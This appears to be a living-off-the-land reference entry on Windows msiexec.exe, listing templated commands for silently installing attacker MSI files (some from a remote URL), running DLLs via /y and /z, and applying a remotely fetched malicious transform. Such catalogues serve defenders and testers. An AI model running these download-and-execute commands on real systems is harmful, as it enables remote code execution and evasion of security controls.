Msiexec.exe

type: OSBinaries
Used by Windows to execute msi files

Full path

C:\Windows\System32\msiexec.exe
C:\Windows\SysWOW64\msiexec.exe

Commands

  1. ExecuteUser T1218.007

    Execute custom made msi file with attack code

    msiexec /quiet /i {PATH:.msi}

    Installs the target .MSI file silently.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: MSI

  2. ExecuteUser T1218.007

    Execute custom made msi file with attack code from remote server

    msiexec /q /i {REMOTEURL}

    Installs the target remote & renamed .MSI file silently.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: MSIExecute: Remote

  3. ExecuteUser T1218.007

    Execute dll files

    msiexec /y {PATH_ABSOLUTE:.dll}

    Calls DllRegisterServer to register the target DLL.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: DLLExecute: Remote

  4. ExecuteUser T1218.007

    Execute dll files

    msiexec /z {PATH_ABSOLUTE:.dll}

    Calls DllUnregisterServer to un-register the target DLL.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: DLLExecute: Remote

  5. ExecuteUser T1218.007

    Install trusted and signed msi file, with additional attack code as transformation file, from a remote server

    msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb

    Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.

    os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: MSIExecute: MSTExecute: Remote

Detection

Resources

acknowledgement: netbiosX @netbiosX, Philip Tsukerman @PhilipTsukerman